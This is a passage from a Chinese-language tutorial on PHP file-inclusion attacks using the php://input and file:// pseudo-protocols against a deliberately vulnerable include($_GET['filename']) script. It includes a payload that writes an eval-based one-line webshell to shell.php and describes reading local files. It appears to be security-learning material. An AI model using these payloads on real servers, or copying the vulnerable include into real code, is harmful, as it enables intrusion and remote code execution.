测试代码:
<?php $filename = $_GET[\'filename\']; include($filename); ?> php://input可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。
用法:?file=php://input 数据利用POST传过去。
php://input (读取POST数据)碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;
测试代码:
<?php echo file_get_contents("php://input"); ?>测试结果:
php://input(写入木马)测试代码:
<?php $filename = $_GET[\'filename\']; include($filename); ?>条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
<?PHP fputs(fopen(\'shell.php\',\'w\'),\'<?php @eval($_POST[cmd])?>\');?>测试结果:
如果不开启allow_url_include会报错:
php://input(命令执行)测试代码:
<?php $filename = $_GET[\'filename\']; include($filename); ?>条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;
如果不开启allow_url_include会报错: file://伪协议 (读取文件内容)通过file协议可以访问本地文件系统,读取到文件的内容
测试代码:
<?php $filename = $_GET[\'filename\']; include($filename); ?>